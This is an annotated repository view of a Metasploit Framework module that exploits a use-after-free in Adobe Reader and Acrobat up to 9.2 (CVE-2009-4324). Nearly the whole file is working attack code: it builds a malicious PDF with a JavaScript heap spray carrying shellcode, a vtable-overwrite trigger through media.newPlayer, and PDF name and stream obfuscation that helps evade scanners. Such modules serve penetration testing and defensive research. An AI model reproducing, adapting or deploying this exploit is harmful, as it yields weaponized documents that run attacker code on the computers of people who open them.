Statistics
| Branch: | Tag: | Revision:

root / modules / exploits / windows / fileformat / adobe_media_newplayer.rb @ 7882

History | View | Annotate | Download (5.7 kB)

1 7b34f7b0 Joshua Drake
##
2 a87d4e7e Joshua Drake
# $Id$
3 a87d4e7e Joshua Drake
##
4 a87d4e7e Joshua Drake
5 a87d4e7e Joshua Drake
##
6 7b34f7b0 Joshua Drake
# This file is part of the Metasploit Framework and may be subject to
7 7b34f7b0 Joshua Drake
# redistribution and commercial restrictions. Please see the Metasploit
8 ceb48887 HD Moore
# web site for more information on licensing and terms of use.
9 ceb48887 HD Moore
#   http://metasploit.com/
10 7b34f7b0 Joshua Drake
##
11 7b34f7b0 Joshua Drake
12 7b34f7b0 Joshua Drake
require 'msf/core'
13 7b34f7b0 Joshua Drake
require 'zlib'
14 7b34f7b0 Joshua Drake
15 7b34f7b0 Joshua Drake
class Metasploit3 < Msf::Exploit::Remote
16 7b34f7b0 Joshua Drake
        Rank = GoodRanking
17 7b34f7b0 Joshua Drake
18 7b34f7b0 Joshua Drake
        include Msf::Exploit::FILEFORMAT
19 7b34f7b0 Joshua Drake
20 7b34f7b0 Joshua Drake
        def initialize(info = {})
21 7b34f7b0 Joshua Drake
                super(update_info(info,
22 191e98dc Joshua Drake
                        'Name'           => 'Adobe Doc.media.newPlayer Use After Free Vulnerability',
23 7b34f7b0 Joshua Drake
                        'Description'    => %q{
24 a87d4e7e Joshua Drake
                                This module exploits a use after free vulnerability in Adobe Reader and Adobe Acrobat
25 7b34f7b0 Joshua Drake
                                Professional versions up to and including 9.2.
26 7b34f7b0 Joshua Drake
                        },
27 7b34f7b0 Joshua Drake
                        'License'        => MSF_LICENSE,
28 7b34f7b0 Joshua Drake
                        'Author'         =>
29 7b34f7b0 Joshua Drake
                                [
30 7b34f7b0 Joshua Drake
                                        'unknown', # Found in the wild
31 7b34f7b0 Joshua Drake
                                        # Metasploit version by:
32 a87d4e7e Joshua Drake
                                        'hdm',
33 7b34f7b0 Joshua Drake
                                        'pusscat',
34 7b34f7b0 Joshua Drake
                                        'jduck'
35 7b34f7b0 Joshua Drake
                                ],
36 7b34f7b0 Joshua Drake
                        'Version'        => '$Revision$',
37 7b34f7b0 Joshua Drake
                        'References'     =>
38 7b34f7b0 Joshua Drake
                                [
39 3677711c Steve Tornio
                                        [ 'CVE', '2009-4324' ],
40 aef9a5c7 Joshua Drake
                                        [ 'BID', '37331' ],
41 3677711c Steve Tornio
                                        [ 'OSVDB', '60980' ]
42 7b34f7b0 Joshua Drake
                                ],
43 7b34f7b0 Joshua Drake
                        'DefaultOptions' =>
44 7b34f7b0 Joshua Drake
                                {
45 7b34f7b0 Joshua Drake
                                        'EXITFUNC' => 'process',
46 811eb999 Mario Ceballos
                                        'DisablePayloadHandler' => 'true',
47 7b34f7b0 Joshua Drake
                                },
48 7b34f7b0 Joshua Drake
                        'Payload'        =>
49 7b34f7b0 Joshua Drake
                                {
50 7b34f7b0 Joshua Drake
                                        'Space'         => 1024,
51 7b34f7b0 Joshua Drake
                                        'BadChars'      => "\x00",
52 7b34f7b0 Joshua Drake
                                        'DisableNops'         => true
53 7b34f7b0 Joshua Drake
                                },
54 7b34f7b0 Joshua Drake
                        'Platform'       => 'win',
55 7b34f7b0 Joshua Drake
                        'Targets'        =>
56 7b34f7b0 Joshua Drake
                                [
57 7b34f7b0 Joshua Drake
                                        # test results (on Windows XP SP3)
58 aef9a5c7 Joshua Drake
                                        # reader 6.0.1 - vulnerable / doesn't work
59 7b34f7b0 Joshua Drake
                                        # reader 7.0.5 - untested
60 7b34f7b0 Joshua Drake
                                        # reader 7.0.8 - untested
61 aef9a5c7 Joshua Drake
                                        # reader 7.0.9 - vulnerable / doesn't work
62 7b34f7b0 Joshua Drake
                                        # reader 7.1.0 - untested
63 7b34f7b0 Joshua Drake
                                        # reader 7.1.1 - untested
64 7b34f7b0 Joshua Drake
                                        # reader 8.0.0 - untested
65 aef9a5c7 Joshua Drake
                                        # reader 8.1.1 - works
66 7b34f7b0 Joshua Drake
                                        # reader 8.1.2 - untested
67 7b34f7b0 Joshua Drake
                                        # reader 8.1.3 - untested
68 7b34f7b0 Joshua Drake
                                        # reader 8.1.4 - untested
69 7b34f7b0 Joshua Drake
                                        # reader 8.1.5 - untested
70 7b34f7b0 Joshua Drake
                                        # reader 8.1.6 - untested
71 7b34f7b0 Joshua Drake
                                        # reader 9.0.0 - untested
72 d9aca586 Joshua Drake
                                        # reader 9.1.0 - works
73 7b34f7b0 Joshua Drake
                                        # reader 9.2 - works (no debugger, no DEP)
74 0fa275b5 pusscat
                                        [ 'Adobe Reader Windows English (JS Heap Spray)',
75 7b34f7b0 Joshua Drake
                                                {
76 0fa275b5 pusscat
                                                        'Size'                => (0x10000/2),
77 f2ec7795 HD Moore
                                                        'Ret'       => 0x0c0c0c0c,
78 a87d4e7e Joshua Drake
                                                }
79 7b34f7b0 Joshua Drake
                                        ],
80 fba8a1d1 Joshua Drake
                                        [ 'Adobe Reader Windows German (JS Heap Spray)',
81 fba8a1d1 Joshua Drake
                                                {
82 fba8a1d1 Joshua Drake
                                                        'Size'                => (0x10000/2),
83 fba8a1d1 Joshua Drake
                                                        'Ret'       => 0x0a0a0a0a,
84 a87d4e7e Joshua Drake
                                                }
85 fba8a1d1 Joshua Drake
                                        ],
86 7b34f7b0 Joshua Drake
                                ],
87 7b34f7b0 Joshua Drake
                        'DisclosureDate' => 'Dec 14 2009',
88 7b34f7b0 Joshua Drake
                        'DefaultTarget'  => 0))
89 a87d4e7e Joshua Drake
90 7b34f7b0 Joshua Drake
                register_options(
91 45908448 Joshua Drake
                        [
92 7b34f7b0 Joshua Drake
                                OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),
93 7b34f7b0 Joshua Drake
                        ], self.class)
94 a87d4e7e Joshua Drake
95 7b34f7b0 Joshua Drake
        end
96 a87d4e7e Joshua Drake
97 7b34f7b0 Joshua Drake
        def exploit
98 7b34f7b0 Joshua Drake
99 7b34f7b0 Joshua Drake
                # Encode the shellcode.
100 7b34f7b0 Joshua Drake
                shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
101 7b34f7b0 Joshua Drake
102 7b34f7b0 Joshua Drake
                # Make some nops
103 f2ec7795 HD Moore
                nops      = Rex::Text.to_unescape([target.ret].pack('V'))
104 7b34f7b0 Joshua Drake
105 7b34f7b0 Joshua Drake
                # Randomize variables
106 d0a37bd5 HD Moore
                #
107 d0a37bd5 HD Moore
                len    = 72
108 7b34f7b0 Joshua Drake
                rand1  = rand_text_alpha(rand(100) + 1)
109 7b34f7b0 Joshua Drake
                rand2  = rand_text_alpha(rand(100) + 1)
110 0fa275b5 pusscat
                rand3  = rand_text_alpha(rand(100) + 1)
111 a87d4e7e Joshua Drake
                rand4  = rand_text_alpha(len/2).gsub(/([dhHjmMsty])/m, '\\\\' + '\1')
112 a87d4e7e Joshua Drake
                rand5  = rand_text_alpha(len/2).gsub(/([dhHjmMsty])/m, '\\\\' + '\1')
113 d0a37bd5 HD Moore
114 ab1a1c58 Joshua Drake
                vtbuf = [target.ret].pack('V') * 4
115 409d44bf Joshua Drake
                vtbuf << rand_text_alpha(len - vtbuf.length)
116 ab1a1c58 Joshua Drake
                vtbuf.gsub!(/([dhHjmMsty])/m, '\\\\' + '\1')
117 ab1a1c58 Joshua Drake
                retstring  = Rex::Text.to_unescape(vtbuf)
118 d0a37bd5 HD Moore
119 ab1a1c58 Joshua Drake
                # The printd strings are 72 bytes (??)
120 7b34f7b0 Joshua Drake
                script = %Q|
121 7b34f7b0 Joshua Drake
var #{rand1} = unescape("#{shellcode}");
122 7b34f7b0 Joshua Drake
var #{rand2} = unescape("#{nops}");
123 0fa275b5 pusscat
var #{rand3} = unescape("#{retstring}");
124 7b34f7b0 Joshua Drake
125 7b34f7b0 Joshua Drake
while(#{rand2}.length <= #{target['Size']}) #{rand2}+=#{rand2};
126 d0a37bd5 HD Moore
        #{rand2}=#{rand2}.substring(0,#{target['Size']} - #{rand1}.length);
127 7b34f7b0 Joshua Drake
128 7b34f7b0 Joshua Drake
memory=new Array();
129 7b34f7b0 Joshua Drake
130 7b34f7b0 Joshua Drake
for(i=0;i<0x2000;i++) {
131 7b34f7b0 Joshua Drake
        memory[i]= #{rand2} + #{rand1};
132 7b34f7b0 Joshua Drake
}
133 7b34f7b0 Joshua Drake
134 0fa275b5 pusscat
util.printd("#{rand4}", new Date());
135 0fa275b5 pusscat
util.printd("#{rand5}", new Date());
136 7b34f7b0 Joshua Drake
try {this.media.newPlayer(null);} catch(e) {}
137 0fa275b5 pusscat
util.printd(#{rand3}, new Date());
138 7b34f7b0 Joshua Drake
|
139 a87d4e7e Joshua Drake
140 7b34f7b0 Joshua Drake
                # Create the pdf
141 7b34f7b0 Joshua Drake
                pdf = make_pdf(script)
142 7b34f7b0 Joshua Drake
143 7b34f7b0 Joshua Drake
                print_status("Creating '#{datastore['FILENAME']}' file...")
144 7b34f7b0 Joshua Drake
145 7b34f7b0 Joshua Drake
                file_create(pdf)
146 7b34f7b0 Joshua Drake
147 7b34f7b0 Joshua Drake
        end
148 7b34f7b0 Joshua Drake
149 7b34f7b0 Joshua Drake
150 7b34f7b0 Joshua Drake
        def RandomNonASCIIString(count)
151 7b34f7b0 Joshua Drake
                result = ""
152 7b34f7b0 Joshua Drake
                count.times do
153 7b34f7b0 Joshua Drake
                        result << (rand(128) + 128).chr
154 7b34f7b0 Joshua Drake
                end
155 7b34f7b0 Joshua Drake
                result
156 7b34f7b0 Joshua Drake
        end
157 7b34f7b0 Joshua Drake
158 7b34f7b0 Joshua Drake
        def ioDef(id)
159 7b34f7b0 Joshua Drake
                "%d 0 obj" % id
160 7b34f7b0 Joshua Drake
        end
161 7b34f7b0 Joshua Drake
162 7b34f7b0 Joshua Drake
        def ioRef(id)
163 7b34f7b0 Joshua Drake
                "%d 0 R" % id
164 7b34f7b0 Joshua Drake
        end
165 7b34f7b0 Joshua Drake
166 7b34f7b0 Joshua Drake
167 7b34f7b0 Joshua Drake
        #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
168 7b34f7b0 Joshua Drake
        def nObfu(str)
169 7b34f7b0 Joshua Drake
                result = ""
170 7b34f7b0 Joshua Drake
                str.scan(/./u) do |c|
171 7b34f7b0 Joshua Drake
                        if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
172 7b34f7b0 Joshua Drake
                                result << "#%x" % c.unpack("C*")[0]
173 7b34f7b0 Joshua Drake
                        else
174 7b34f7b0 Joshua Drake
                                result << c
175 7b34f7b0 Joshua Drake
                        end
176 7b34f7b0 Joshua Drake
                end
177 7b34f7b0 Joshua Drake
                result
178 7b34f7b0 Joshua Drake
        end
179 7b34f7b0 Joshua Drake
180 7b34f7b0 Joshua Drake
181 7b34f7b0 Joshua Drake
        def ASCIIHexWhitespaceEncode(str)
182 7b34f7b0 Joshua Drake
                result = ""
183 7b34f7b0 Joshua Drake
                whitespace = ""
184 7b34f7b0 Joshua Drake
                str.each_byte do |b|
185 7b34f7b0 Joshua Drake
                        result << whitespace << "%02x" % b
186 7b34f7b0 Joshua Drake
                        whitespace = " " * (rand(3) + 1)
187 7b34f7b0 Joshua Drake
                end
188 7b34f7b0 Joshua Drake
                result << ">"
189 7b34f7b0 Joshua Drake
        end
190 7b34f7b0 Joshua Drake
191 7b34f7b0 Joshua Drake
192 7b34f7b0 Joshua Drake
        def make_pdf(js)
193 7b34f7b0 Joshua Drake
194 7b34f7b0 Joshua Drake
                xref = []
195 7b34f7b0 Joshua Drake
                eol = "\x0d\x0a"
196 7b34f7b0 Joshua Drake
                endobj = "endobj" << eol
197 7b34f7b0 Joshua Drake
198 7b34f7b0 Joshua Drake
                pdf = "%PDF-1.5" << eol
199 7b34f7b0 Joshua Drake
                pdf << "%" << RandomNonASCIIString(4) << eol
200 7b34f7b0 Joshua Drake
                xref << pdf.length
201 7b34f7b0 Joshua Drake
                pdf << ioDef(1) << nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << nObfu("/OpenAction ") << ioRef(5) << ">>" << endobj
202 7b34f7b0 Joshua Drake
                xref << pdf.length
203 7b34f7b0 Joshua Drake
                pdf << ioDef(2) << nObfu("<</Type/Outlines/Count 0>>") << endobj
204 7b34f7b0 Joshua Drake
                xref << pdf.length
205 7b34f7b0 Joshua Drake
                pdf << ioDef(3) << nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>") << endobj
206 7b34f7b0 Joshua Drake
                xref << pdf.length
207 7b34f7b0 Joshua Drake
                pdf << ioDef(4) << nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>") << endobj
208 7b34f7b0 Joshua Drake
                xref << pdf.length
209 7b34f7b0 Joshua Drake
                pdf << ioDef(5) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>" << endobj
210 7b34f7b0 Joshua Drake
                xref << pdf.length
211 7b34f7b0 Joshua Drake
                compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
212 7b34f7b0 Joshua Drake
                pdf << ioDef(6) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
213 7b34f7b0 Joshua Drake
                pdf << "stream" << eol
214 7b34f7b0 Joshua Drake
                pdf << compressed << eol
215 7b34f7b0 Joshua Drake
                pdf << "endstream" << eol
216 7b34f7b0 Joshua Drake
                pdf << endobj
217 7b34f7b0 Joshua Drake
                xrefPosition = pdf.length
218 7b34f7b0 Joshua Drake
                pdf << "xref" << eol
219 7b34f7b0 Joshua Drake
                pdf << "0 %d" % (xref.length + 1) << eol
220 7b34f7b0 Joshua Drake
                pdf << "0000000000 65535 f" << eol
221 7b34f7b0 Joshua Drake
                xref.each do |index|
222 7b34f7b0 Joshua Drake
                        pdf << "%010d 00000 n" % index << eol
223 7b34f7b0 Joshua Drake
                end
224 7b34f7b0 Joshua Drake
                pdf << "trailer" << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol
225 7b34f7b0 Joshua Drake
                pdf << "startxref" << eol
226 7b34f7b0 Joshua Drake
                pdf << xrefPosition.to_s() << eol
227 7b34f7b0 Joshua Drake
                pdf << "%%EOF" << eol
228 7b34f7b0 Joshua Drake
229 7b34f7b0 Joshua Drake
        end
230 7b34f7b0 Joshua Drake
231 7b34f7b0 Joshua Drake
end